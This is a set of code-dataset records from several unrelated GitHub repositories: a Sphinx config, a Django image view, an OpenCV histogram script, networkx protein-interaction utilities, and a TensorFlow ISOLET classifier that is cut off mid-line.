Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\n# language = None\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This patterns also effect to html_static_path and html_extra_path\nexclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'default'\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = False\n\n\n# -- Options for HTML output ----------------------------------------------\n\n# The theme to use for HTML and HTML Help pages.  See the documentation for\n# a list of builtin themes.\n\nhtml_theme = \"mdanalysis_sphinx_theme\"\n\n# html_theme_path = [ ]\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further.  For a list of options available for each theme, see the\n# documentation.\n#\n# styles/fonts to match https://userguide.mdanalysis.org\n# see https://github.com/MDAnalysis/mdanalysis/wiki/MDAnalysis-theme-colours\n#\n# /* MDAnalysis orange: #FF9200 */\n# /* MDAnalysis gray: #808080 */\n# /* MDAnalysis white: #FFFFFF */\n# /* MDAnalysis black: #000000 */\n\nhtml_theme_options = {\"mda_official\": True}\n\n# options common to RTD and MDAnalysis theme\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\n# For RTD theme: custom.css to override theme defaults.\n# html_static_path = ['_static']\n# html_css_files = ['custom.css']\n\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar. --- use theme\n# html_logo = \"_static/logos/mdanalysis-logo-200x150.png\"\n\n# The name of an image file (within the static path) to use as favicon of the\n# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n# html_favicon = \"_static/logos/mdanalysis-logo.ico\"\n\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n#html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#html_use_smartypants = True\n\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\n#html_domain_indices = True\n\n# If false, no index is generated.\n#html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#html_show_sourcelink = True\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n#html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it.  The value of this option must be the\n# base URL from which the finished HTML is served.\nhtml_use_opensearch = 'https://www.mdanalysis.org/pytng'\n\n# sphinx-sitemap config https://github.com/jdillard/sphinx-sitemap\nsite_url = 'https://www.mdanalysis.org/pytng/'\nhtml_extra_path = ['robots.txt']\n\n\n# -- Options for HTMLHelp output ------------------------------------------\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'pytngdoc'\n\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n    # The paper size ('letterpaper' or 'a4paper').\n    #\n    # 'papersize': 'letterpaper',\n\n    # The font size ('10pt', '11pt' or '12pt').\n    #\n    # 'pointsize': '10pt',\n\n    # Additional stuff for the LaTeX preamble.\n    #\n    # 'preamble': '',\n\n    # Latex figure (float) alignment\n    #\n    # 'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n#  author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n    (master_doc,\n     'pytng.tex',\n     u'pytng Documentation',\n     author,\n     'manual'\n    ),\n]\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n#latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n#latex_use_parts = False\n\n# If true, show page references after internal links.\n#latex_show_pagerefs = False\n\n# If true, show URL addresses after external links.\n#latex_show_urls = False\n\n# Documents to append as an appendix to all manuals.\n#latex_appendices = []\n\n# If false, no module index is generated.\n#latex_domain_indices = True\n\n\n# -- Options for manual page output --------------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n    (master_doc, 'pytng', u'pytng Documentation', [author], 1)\n]\n\n\n# -- Options for Texinfo output ------------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n#  dir menu entry, description, category)\ntexinfo_documents = [\n    (master_doc,\n     'pytng',\n     u'pytng Documentation',\n     author,\n     'pytng',\n     'Read molecular simulation data from TNG files.',\n     'Miscellaneous'\n    ),\n]\n\n# Documents to append as an appendix to all manuals.\n#texinfo_appendices = []\n\n# If false, no module index is generated.\n#texinfo_domain_indices = True\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n#texinfo_show_urls = 'footnote'\n\n","repo_name":"MDAnalysis/pytng","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":8072,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"3"}
+{"seq_id":"18441209567","text":"from __future__ import unicode_literals\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom PIL import Image\nimport urllib.request\nimport urllib.parse\nimport io\nimport random\nimport json\nfrom .constants import (APPNAME,\n                        HTML,\n                        KEY,\n                        URL)\nfrom .apiRequests import triggerAPI_putImagesToS3\n\ndef home(request):\n    template_name = (APPNAME().SEARCHWORD\n                     + \"/\"\n                     + HTML().HOME)\n    context = {}\n\n    return render(request, \n                  template_name,\n                  context)\n\ndef loading(request, queryWord):    \n    parsedQueryWord = urllib.parse.unquote(queryWord)\n    triggerAPI_putImagesToS3(parsedQueryWord)\n\n    template_name = (APPNAME().SEARCHWORD\n                     + \"/\"\n                     + HTML().LOADING)\n\n    context = {KEY().QUERY_WORD : parsedQueryWord}\n\n    return render(request,\n                  template_name, \n                  context)\n\ndef pixelBoard(request, queryWord):\n    parsedQueryWord = urllib.parse.unquote(queryWord)\n    imageUrls = []\n\n    s3_resource = boto3.resource('s3')\n    my_bucket = s3_resource.Bucket('searched-words')\n    for object_summary in my_bucket.objects.filter(Prefix=\"icrawler/images/\" + parsedQueryWord + \"/pixeled/\"):\n        url = \"https://s3.ap-northeast-2.amazonaws.com/searched-words/\" + object_summary.key\n        imageUrls.append(url)\n    \n    template_name = (APPNAME().SEARCHWORD\n                     + \"/\"\n                     + HTML().AFTER_SEARCHING_WORD)    \n    context = {KEY().IMAGES : imageUrls}\n\n    return render (request, \n                   template_name,\n                   context)\n","repo_name":"preetydragonov/pixelmagician","sub_path":"EB/searchWord/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37347172403","text":"import cv2\n\n\ndef anh_histogram(image):\n    # Chuyển đổi ảnh sang ảnh grayscale\n    anh_xam = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n    # Cân bằng lược đồ màu\n    anh_can_bang = cv2.equalizeHist(anh_xam)\n\n    # Chuyển đổi ảnh xám thành ảnh màu\n    anh_can_bang_mau = cv2.cvtColor(anh_can_bang, cv2.COLOR_GRAY2BGR)\n\n    # Tìm giá trị tối đa và tối thiểu trong ảnh cân bằng\n    gia_tri_toi_thieu, gia_tri_toi_da, _, _ = cv2.minMaxLoc(anh_can_bang)\n\n    # Đặt ngưỡng để lọc các pixel có độ tương phản cao hơn ngưỡng\n    nguong = gia_tri_toi_da * 0.95\n\n    # Cắt ảnh theo phần có độ tương phản tương đối cao\n    anh_cai_tien_tuong_phan = anh_can_bang_mau.copy()\n    anh_cai_tien_tuong_phan[anh_can_bang_mau < nguong] = 0\n\n    return anh_cai_tien_tuong_phan\n\n\ndef main():\n    anh = cv2.imread(\"Xanh_tron.jpg\")\n\n    anh_cai_tien = anh_histogram(anh)\n\n    cv2.imshow(\"Anh Goc\", anh)\n    cv2.imshow(\"Anh Moi\", anh_cai_tien)\n    cv2.waitKey(0)\n    cv2.destroyAllWindows()\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"nguyen24072001/pythonProject2","sub_path":"pythonProject2/can_bang_sang.py","file_name":"can_bang_sang.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4679298611","text":"import bct\nimport networkx as nx\nimport numpy as np\nimport pandas as pd\n\nfrom utils.data_utils import get_disease_genes_from_gda\n\n# ========================\n#     I N D E X I N G\n# ========================\n\ndef node_to_index(network, nodes_of_interest):\n    '''\n    Given a network and a list of nodes in that network\n    retrive the indices of those nodes.\n    '''\n\n    all_nodes = list(network.nodes)\n    indices = []\n\n    for idx, node in enumerate(all_nodes):\n        if node in nodes_of_interest:\n            indices.append(idx)\n\n    return indices\n\ndef index_to_node(network, indices):\n    '''\n    Given a network and a list of nodes in that network\n    retrive the indices of those nodes.\n    '''\n\n    all_nodes = list(network.nodes)\n    nodes_of_interest = []\n\n    for idx, node in enumerate(all_nodes):\n        if idx in indices:\n            nodes_of_interest.append(node)\n\n    return nodes_of_interest\n\n# ============\n# I N / O U T\n# ============\n\ndef write_edges_in_file(network, output_file):\n    '''\n    Print all the connections in a network a file\n    with the following schema:\n        Node1,Node2\n        Node3,Node4\n        ...,...\n    '''\n    with open(output_file, 'w') as fo:\n        LCC_hhi_edges = list(network.edges)\n        for e in LCC_hhi_edges:\n            fo.write(e[0] + \",\" + e[1] + \"\\n\")\n\n# ===================\n#  S E L E C T I O N\n# ===================\n\ndef isolate_LCC(network):\n    '''\n    Find and return the Largest Connected Component\n    of the network.\n    '''\n\n    # find connected components\n    conn_comp = list(nx.connected_components(network))\n    print(f\"# of connected components: {len(conn_comp)}\")\n    # print(conn_comp)\n\n    # sort the connected components by descending size\n    conn_comp_len = [len(c) for c in sorted(conn_comp, key=len,\n                                        reverse=True)]\n    print(f\"Lengths of connected components: {conn_comp_len}\")\n\n    # isolate the LCC\n    LCC = max(conn_comp, key=len)\n    print(f\"LCC len: {len(LCC)}\")\n\n    LCC_hhi = network.subgraph(LCC).copy()\n\n    return LCC_hhi\n\ndef select_hhi_only(filename, only_physical=1):\n    '''\n    Select from the BIOGRID only the Human-Human Interactions.\n    If only_physical == 1, remove all non physical interactions.\n    Return a DataFrame with the filtered connections.\n    '''\n\n    # select HHIs\n    df = pd.read_csv(filename, sep=\"\\t\", header=0)\n    df = df.loc[(df[\"Organism ID Interactor A\"] == 9606) &\n                (df[\"Organism ID Interactor B\"] == 9606)]\n\n    # select only physical interactions\n    if only_physical == 1:\n        df = df.loc[df[\"Experimental System Type\"] == \"physical\"]\n\n    return df\n\ndef select_disease_interactions_only(hhi_df, disease, curated=True):\n    '''\n    From the Human-Human interactions select only the interactions regarding\n    the disease.\n    '''\n\n    # get disease genes from GDS\n    if curated:\n        gda_filename = \"data/curated_gene_disease_associations.tsv\"\n    else:\n        gda_filename = \"data/all_gene_disease_associations.tsv\"\n\n    disease_genes = get_disease_genes_from_gda(gda_filename, disease)\n\n    # convert to an immutable object\n    disease_genes_array = np.array(disease_genes)\n\n    # select from human-human interactions only the rows that\n    # have both a gene belonging to disease_genes\n    disease_df = hhi_df.loc[(hhi_df[\"Official Symbol Interactor A\"].isin(disease_genes_array)) &\n                            (hhi_df[\"Official Symbol Interactor B\"].isin(disease_genes_array))]\n\n    return disease_df\n\ndef get_disease_LCC(interactome_df, disease, from_curated=True):\n    '''\n    Given the interactome DataFrame,\n    Return the LCC of the disease.\n    '''\n\n    # From the dataframe select the disease genes only\n    disease_df = select_disease_interactions_only(interactome_df, disease, curated=from_curated)\n\n    # Create the network\n    disease_network = nx.from_pandas_edgelist(disease_df,\n                                              source = \"Official Symbol Interactor A\",\n                                              target = \"Official Symbol Interactor B\",\n                                              create_using=nx.Graph())  #x.Graph doesn't allow duplicated edges\n    # Remove self loops\n    self_loop_edges = list(nx.selfloop_edges(disease_network))\n    disease_network.remove_edges_from(self_loop_edges)\n\n    # Find connected components\n    conn_comp = list(nx.connected_components(disease_network))\n\n    # Isolate the LCC\n    try:\n        LCC = max(conn_comp, key=len)\n    except:\n        LCC = disease_network.copy()\n\n    return LCC\n\ndef get_disease_num_connected_components(interactome_df, disease, from_curated=True):\n    '''\n    Given the interactome DataFrame,\n    Return the number of connected components the disease.\n    '''\n\n    # From the dataframe select the disease genes only\n    disease_df = select_disease_interactions_only(interactome_df, disease, curated=from_curated)\n\n    # Create the network\n    disease_network = nx.from_pandas_edgelist(disease_df,\n                                              source = \"Official Symbol Interactor A\",\n                                              target = \"Official Symbol Interactor B\",\n                                              create_using=nx.Graph())  #x.Graph doesn't allow duplicated edges\n    # Remove self loops\n    self_loop_edges = list(nx.selfloop_edges(disease_network))\n    disease_network.remove_edges_from(self_loop_edges)\n\n    # Find connected components\n    conn_comp = list(nx.connected_components(disease_network))\n\n    return len(conn_comp)\n\ndef get_genes_percentage(seed_genes, LCC):\n    '''\n    Given the seed genes and the LCC of a network,\n    compute the ratio between the LCC size and the\n    total number of seed genes.\n    '''\n    return nx.number_of_nodes(LCC)/len(seed_genes)\n\ndef get_density(G):\n\n    '''Computes the density of a given graph'''\n    d = nx.density(G)\n\n    return d\n\n\ndef get_distance_matrix_interactome():\n\n    '''\n    Starting from HHI_LCC file, it creates an adjacency matrix considering all the interactome,\n    call btcpy library to build the distance matrix and save both in files.\n    NB: This distance matrix consider paths which involve also genes of different diseases\n    (all the interactome)\n    '''\n\n    hhi_lcc = './data/HHI_LCC.txt'\n\n    genes_dict = {}\n\n    #create a dictionary with key=gene_name and value=a unique progressive integer to identify the gene\n    with open(hhi_lcc, 'r') as of:  #read hh interactions\n\n            i=0\n            for line in of:\n                #retrieve both gene names\n                node1=line.strip().split(',')[0]\n                node2=line.strip().split(',')[1]\n\n                #add gene names in the dictionary\n                if (node1 not in genes_dict):\n                    genes_dict[node1]= i\n                    i+=1\n                if (node2 not in genes_dict):\n                    genes_dict[node2]= i\n                    i+=1\n\n    #create an adjacency matrix filled of zeros\n    adjacency_matrix = np.zeros((len(genes_dict), len(genes_dict)))\n\n\n    #fill adjacency matrix with 1 where it needs\n    with open(hhi_lcc, 'r') as of:\n\n        for line in of:\n            node1=line.strip().split(',')[0]\n            node2=line.strip().split(',')[1]\n            #retrieve the id present in the dictionary corresponding to the gene\n            gene1_id = genes_dict[node1]\n            gene2_id = genes_dict[node2]\n\n            #set to 1 the cell\n            if (gene1_id != gene2_id):\n                adjacency_matrix[gene1_id,gene2_id]=1\n\n    #IT'S COMMENTED TO AVOID TO OVERWRITE\n\n    ## Save adjacency matrix as binary file\n    #with open(\"data/adjacency_matrix.npy\", \"wb\") as f:\n    #    np.save(f, adjacency_matrix)\n    #\n    #\n    ##call bct library to compute distance matrix (passing adjacency matrix)\n    #distance_matrix = bct.distance_bin(adjacency_matrix)\n    #\n    ## Save adjacency matrix as binary file\n    #with open(\"data/distance_matrix.npy\", \"wb\") as f:\n    #    np.save(f, distance_matrix)\n\n    return\n\n\ndef get_longest_path_for_a_disease_interactome(disease, predicted_genes = []):\n\n    '''\n    Given a disease, get the longest path searching in the rows\n    and columns of the distance matrix corresponding to disease genes.\n    NB: the paths includes genes not only of this disease beacuse the distance matrix\n    is built from the interactome\n\n    - predicted_genes are enriched genes which are added to the disease genes(this parameter is used in disease_analysis.py).\n      If call this function after enrichment, give predicted_genes in input\n    '''\n\n    hhi_lcc = './data/HHI_LCC.txt'\n    genes_dict = {}\n\n    #create a dictionary with key=gene_name and value=a unique progressive integer to identify the gene\n    with open(hhi_lcc, 'r') as of:  #read hh interactions\n\n            i=0\n            for line in of:\n                #retrieve both gene names\n                node1=line.strip().split(',')[0]\n                node2=line.strip().split(',')[1]\n\n                #add gene names in te dictionary\n                if (node1 not in genes_dict):\n                    genes_dict[node1]= i\n                    i+=1\n                if (node2 not in genes_dict):\n                    genes_dict[node2]= i\n                    i+=1\n\n    #load distance matrix file\n    distance_matrix = './data/distance_matrix.npy'\n    data = np.load(distance_matrix)\n\n    #get genes for this disease\n    gda_filename = \"./data/curated_gene_disease_associations.tsv\"\n    disease_genes = get_disease_genes_from_gda(gda_filename, disease)\n    #add predicted genes given in input to disease genes\n    disease_genes += predicted_genes\n\n    #for each gene of the disease, retrieve its id in the genes dictionary and add to ids\n    ids = []\n    for gene in disease_genes:\n        if gene in genes_dict:   #not all the genes are in the dictionary (there aren't those ones which don't have interactions)\n            gene_id = genes_dict[gene]\n            ids.append(gene_id)\n\n    #loop on the distance matrix (considering only rows and columns corresponding to disease genes)\n    max=0\n    for id in ids:  #select a row\n        for column in ids:    #select a column\n            if id!=column :\n                if str(data[id][column]) != 'inf': # 'inf' must be avoided\n                    #data[id][column] is the selected cell in the matrix\n                    if data[id][column] > max :\n                        max = data[id][column]\n    return max\n\n\n\n\ndef get_longest_path_for_a_disease_LCC(disease, predicted_genes = []):\n\n    '''\n\n    Retrieving LCC genes for the given disease, it computes the adjacency and distance matrix\n    for the disease, considering only paths of genes included in the LCC, and returns\n    the longest among all paths\n\n    - predicted_genes are enriched genes which are added to the disease genes(this parameter is used in disease_analysis.py)\n      If call this function after enrichment, give predicted_genes in input\n    '''\n\n    #get lcc genes for the disease\n    biogrid = \"./data/BIOGRID-ORGANISM-Homo_sapiens-4.4.204.tab3.txt\"\n    hhi_df  = select_hhi_only(biogrid)\n    lcc_genes = get_disease_LCC(hhi_df, disease)\n    #add predicted genes given in input to disease genes\n    for elem in predicted_genes:\n        lcc_genes.add(elem)\n\n\n    #create a dictionary with key=gene_name and value=a unique progressive integer to identify the gene\n    #(in the dictionary there will be only LCC genes)\n\n    hhi_lcc = './data/HHI_LCC.txt'\n\n    genes_dict = {}\n    with open(hhi_lcc, 'r') as of:  #read hh interactions\n\n            i=0\n            for line in of:\n                #retrieve both gene names\n                node1=line.strip().split(',')[0]\n                node2=line.strip().split(',')[1]\n                if node1 in lcc_genes and node2 in lcc_genes:  #check if both genes are LCC genes\n                    #add gene names in the dictionary\n                    if (node1 not in genes_dict):\n                        genes_dict[node1]= i\n                        i+=1\n                    if (node2 not in genes_dict):\n                        genes_dict[node2]= i\n                        i+=1\n\n    #initialize adjacency matrix\n    adjacency_matrix = np.zeros((len(lcc_genes), len(lcc_genes)))\n    #fill adjacency matrix:\n    # (the adjacency matrix is #LCC genes x #LCC genes)\n    with open(hhi_lcc, 'r') as of:\n        for line in of:\n            node1=line.strip().split(',')[0]\n            node2=line.strip().split(',')[1]\n            #retrieve the id present in the dictionary corresponding to the gene\n            if node1 in lcc_genes and node2 in lcc_genes:\n                gene1_id = genes_dict[node1]\n                gene2_id = genes_dict[node2]\n                #set to 1 the cell\n                if (gene1_id != gene2_id):\n                    adjacency_matrix[gene1_id,gene2_id]=1\n\n\n    # Save adjacency matrix as binary file\n    with open(\"tmp/adjacency_matrix.npy\", \"wb\") as f:\n        np.save(f, adjacency_matrix)\n\n    #call bct library to compute distance matrix (passing adjacency matrix)\n    distance_matrix = bct.distance_bin(adjacency_matrix)\n\n    # Save adjacency matrix as binary file\n    with open(\"tmp/distance_matrix.npy\", \"wb\") as f:\n        np.save(f, distance_matrix)\n\n    #load distance matrix file\n    distance_matrix = './tmp/distance_matrix.npy'\n    data = np.load(distance_matrix)\n\n    #loop on the distance matrix: find the max among all the cells\n    max=0\n    for i in range(len(data)):  #select a row\n        for j in range(len(data)):    #select a column\n            if i!=j:\n                if str(data[i][j]) != 'inf': # 'inf' must be avoided\n                    #data[i][j] is the selected cell in the matrix\n                    if data[i][j] > max :\n                        max = data[i][j]\n\n    return max\n\n\ndef translate_from_stringdb(stringdb_file, stringdb_aliases_file):\n    '''\n    --> IT WORKS ONLY WITH THESE TWO STRINGDB TXT FILES AS INPUT- MODIFY THE FUNCTION TO USE FOR OTHER PURPOSES.\n    \n    Given stringdb associations file and aliases file, it translates each gene in the original\n    file to the gene symbol and return the dataframe with the associations among genes expressed\n    as gene symbols\n    '''\n\n    df = pd.read_csv(stringdb_file, sep=\"\\s+\", header=0)\n    df_aliases = pd.read_csv(stringdb_aliases_file, sep=\"\\t\", header=0)\n\n    #create the DataFrame for results\n    d = {'protein1': [], 'protein2': []}\n    df_translated = pd.DataFrame(data=d)\n\n    #create the dictionary with keys = original StringDB names and values = traslated name\n    alias_dict = {}\n\n    j=0\n    #TRANSLATION FROM ORIGINAL STRINGDB NAMES TO GENE SYMBOLS\n    for i in range(len(df.protein1)): #loop of every row in the associations file\n        \n        #flags to check if both proteins have an alias\n        protein1_exists = False\n        protein2_exists = False\n\n        #if protein not in the dictionary\n        if df.protein1[i] not in alias_dict:\n                \n            #find alias in aliases file:\n            filter1 = df_aliases['string_protein_id'] == df.protein1[i]  \n            filter2 = df_aliases['source'] == 'Ensembl_HGNC'\n            aliases_list = df_aliases.loc[filter1 & filter2 ]['alias'].values\n            length =len(aliases_list) #df_aliases.loc[filter1 & filter2 ] filters the file, ['alias'] takes the alias column, .values extract the values\n            #if you found only one alias\n            if length == 1: \n                protein1_exists = True  #the alias has been found\n                alias1 = aliases_list[0]   #acces the first and only value\n                #set the dictionary\n                alias_dict[df.protein1[i]] = alias1\n\n        #if protein has been never traslated  \n        else: \n            protein1_exists = True\n            #add to the dictionary\n            alias1 = alias_dict[df.protein1[i]]\n\n\n        #let's do again for the second column\n\n        #if protein not in the dictionary\n        if df.protein2[i] not in alias_dict:\n\n            #find alias in aliases file:\n            filter1 = df_aliases['string_protein_id'] == df.protein2[i]  \n            filter2 = df_aliases['source'] == 'Ensembl_HGNC'\n            aliases_list = df_aliases.loc[filter1 & filter2 ]['alias'].values\n            length = len(aliases_list) #df_aliases.loc[filter1 & filter2 ] filters the file, ['alias'] takes the alias column, .values extract the values\n            #if you found only one alias\n            if length == 1:\n                protein2_exists = True     #the alias has been found         \n                alias2 = aliases_list[0]   #acces the first and only value\n                #set the dictionary\n                alias_dict[df.protein2[i]] = alias2\n        #if protein has been never traslated          \n        else:\n            protein2_exists = True\n            #add to the dictionary\n            alias2 = alias_dict[df.protein2[i]]\n\n        #if both proteins has been traslated we can add a row in the dataframe\n        if protein1_exists and protein2_exists:\n            df_translated.loc[j] = [alias1, alias2]\n            j+=1\n\n    return df_translated\n\n\n# =================================\n#     B U I L D  N E T W O R K S\n# =================================\n\ndef build_network_from_biogrid(biogrid_database, hhi_only=False, physical_only=False, remove_self_loops=True):\n    \"\"\"\n    Given the path for a BIOGRID protein-protein interaction database,\n    build the graph.\n    \"\"\"\n\n    # Read the database and build the currespondent DataFrame\n    df = pd.read_csv(biogrid_database, sep=\"\\t\", header=0)\n\n    # Select only human-human interactions\n    if hhi_only == True:\n        df = df.loc[(df[\"Organism ID Interactor A\"] == 9606) &\n                    (df[\"Organism ID Interactor B\"] == 9606)]\n\n    # Select only physical interactions\n    if physical_only == True:\n        df = df.loc[df[\"Experimental System Type\"] == \"physical\"]\n\n    # Build the graph\n    G = nx.from_pandas_edgelist(df,\n                                source = \"Official Symbol Interactor A\",\n                                target = \"Official Symbol Interactor B\",\n                                create_using=nx.Graph())  #nx.Graph doesn't allow duplicated edges\n\n    # Remove self loops\n    if remove_self_loops == True:\n        self_loop_edges = list(nx.selfloop_edges(G))\n        G.remove_edges_from(self_loop_edges)\n\n    return G\n\n\ndef build_network_from_stringdb(stringdb_database, remove_self_loops=True):\n    \"\"\"\n    Given the path for a StringDB protein-protein interaction database,\n    build the graph.\n    \"\"\"\n\n    # Read the database and build the currespondent DataFrame\n    df = pd.read_csv(stringdb_database, sep=\"\\s+\", header=0)\n\n    # Build the graph\n    G = nx.from_pandas_edgelist(df,\n                                source = \"protein1\",\n                                target = \"protein2\",\n                                create_using=nx.Graph())  #x.Graph doesn't allow duplicated edges\n\n    # Remove self loops\n    if remove_self_loops == True:\n        self_loop_edges = list(nx.selfloop_edges(G))\n        G.remove_edges_from(self_loop_edges)\n\n    return G\n\ndef build_network_from_pnas(stringdb_database, remove_self_loops=True):\n    \"\"\"\n    Given the path for the PNAS protein-protein interaction database,\n    build the graph.\n    \"\"\"\n\n    # Read the database and build the currespondent DataFrame\n    df = pd.read_csv(stringdb_database, header=0)\n\n    # Build the graph\n    G = nx.from_pandas_edgelist(df,\n                                source = \"proteinA_entrezid\",\n                                target = \"proteinB_entrezid\",\n                                create_using=nx.Graph())  #x.Graph doesn't allow duplicated edges\n\n    # Remove self loops\n    if remove_self_loops == True:\n        self_loop_edges = list(nx.selfloop_edges(G))\n        G.remove_edges_from(self_loop_edges)\n\n    return G\n\ndef build_network_from_diamond_dataset(diamond_interactome, remove_self_loops=True):\n    \"\"\"\n    Given the path for the interactome used by DIAMOnD authors,\n    build the graph.\n    \"\"\"\n\n    # Read the tsv file\n    df = pd.read_csv(diamond_interactome, delimiter=\"\\t\", header=0)\n\n    # Build the graph\n    G = nx.from_pandas_edgelist(df,\n                                source = \"gene_ID_1\",\n                                target = \"gene_ID_2\",\n                                create_using=nx.Graph())  #x.Graph doesn't allow duplicated edges\n\n    # Remove self loops\n    if remove_self_loops == True:\n        self_loop_edges = list(nx.selfloop_edges(G))\n        G.remove_edges_from(self_loop_edges)\n\n    return G\n\n\ndef LCC(G):\n    '''\n    Given a graph G, find and return its Largest Connected Component.\n    '''\n\n    # Find the connected components\n    conn_comp = list(nx.connected_components(G))\n    print(f\"# of connected components: {len(conn_comp)}\")\n\n    # Sort the connected components by descending size\n    conn_comp_len = [len(c) for c in sorted(conn_comp, key=len,\n                                        reverse=True)]\n    print(f\"Lengths of connected components: {conn_comp_len}\")\n\n    # isolate the LCC\n    LCC = max(conn_comp, key=len)\n    print(f\"LCC len: {len(LCC)}\")\n\n    LCC_hhi = G.subgraph(LCC).copy()\n\n    return LCC_hhi\n","repo_name":"marco533/proconsul","sub_path":"utils/network_utils.py","file_name":"network_utils.py","file_ext":"py","file_size_in_byte":21181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37595400379","text":"#!/usr/bin/env python3\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pickle as pkl\nimport tensorflow as tf\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.cross_validation import train_test_split\n\n# plt.close('all')  # if you like\n\n\n# load dataset\n\nwith open('isolet_crop_train.pkl', 'rb') as f:\n    train_data = pkl.load(f)\n\nwith open('isolet_crop_test.pkl', 'rb') as f:\n    test_data = pkl.load(f)\n\nX_train, y_train = train_data\nX_test, y_test = test_data\n\n#One hot encoding\nn_samples,n_inputs = np.shape(X_train)\ny_train = y_train.reshape((n_samples,1))\nonehot_encoder = OneHotEncoder(sparse=False)\ny_coded = onehot_encoder.fit_transform(y_train)\n\n# normalize the data and check the results\n#X_train_norm = (X_train - X_train.mean(axis = 0))/X_train.var(axis = 0)\nscaler = StandardScaler()\nX_train = scaler.fit_transform(X_train)\nX_test = scaler.fit_transform(X_test)\n\n# ...\n\nprint(X_train.mean(axis=0))\nprint(X_train.var(axis=0))\n\n\n# split the data sets, etc.\nX_train_sub, X_val_earl, y_train_sub, y_val_earl = train_test_split(X_train, y_coded, test_size=0.3) \nprint(np.shape(X_train_sub))\nprint(np.shape(X_val_earl))\n\nX_val,X_earl,y_val,y_earl = train_test_split(X_val_earl, y_val_earl, test_size=0.5)\nprint(np.shape(X_val))\nprint(np.shape(X_earl))\n# ...\n\n#Best algorithm\nn_classes = y_coded.shape[1]\nW = tf.Variable(np.random.randn(n_inputs,n_classes), trainable=True)\nb = tf.Variable(np.random.randn(n_classes), trainable=True)\nx = tf.placeholder(shape=(None,n_inputs), dtype=tf.float64)\ny = tf.nn.softmax(tf.matmul(x, W) + b)\ny_true = tf.placeholder(shape=(None,n_classes),dtype=tf.float64)\ny_clipped = tf.clip_by_value(y, 1e-10, 0.9999999)\ncross_entropy = tf.reduce_mean(-tf.reduce_sum(y_true * tf.log(y_clipped), reduction_indices=[1]))\n\n\ntrain_step_grad = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\ntrain_step_rms = tf.train.RMSPropOptimizer(0.5).minimize(cross_entropy)\ntrain_step_adam = tf.train.AdamOptimizer(0.5).minimize(cross_entropy)\n\ninit = tf.global_variables_initializer() \nsess = tf.Session()\nsess.run(init)\n\ntrain_error_list_grad = []\ntest_error_list_grad = []\near_stop_list_grad = []\n\ntrain_error_list_rms = []\ntest_error_list_rms = []\near_stop_list_rms = []\n\ntrain_error_list_adam = []\ntest_error_list_adam = []\near_stop_list_adam = []\n\n\n#Create minibatches to train faster\nk_batch = 40\nX_batch_list = np.array_split(X_train_sub, k_batch)\nlabels_batch_list = np.array_split(y_train_sub, k_batch)\n\n\nfor i in range(20):\n    for x_minibatch, labels_minibatch in zip(X_batch_list, labels_batch_list):\n        sess.run(train_step_grad, feed_dict={x: x_minibatch, y_true: labels_minibatch})\n    \n    train_err_grad = sess.run(cross_entropy, feed_dict={x: X_train_sub, y_true: y_train_sub})\n    test_err_grad = sess.run(cross_entropy, feed_dict={x: X_val, y_true: y_val})\n    error_earl_grad = sess.run(cross_entropy, feed_dict={x: X_earl, y_true: y_earl})\n    ear_stop_list_grad.append(error_earl_grad)\n    if ear_stop_list_grad[i] > ear_stop_list_grad[i-1]:\n        break\n    test_error_list_grad.append(test_err_grad)\n    train_error_list_grad.append(train_err_grad) \n    \nfor j in range(20):\n    for x_minibatch, labels_minibatch in zip(X_batch_list, labels_batch_list):\n        sess.run(train_step_rms, feed_dict={x: x_minibatch, y_true: labels_minibatch})\n    \n    train_err_rms = sess.run(cross_entropy, feed_dict={x: X_train_sub, 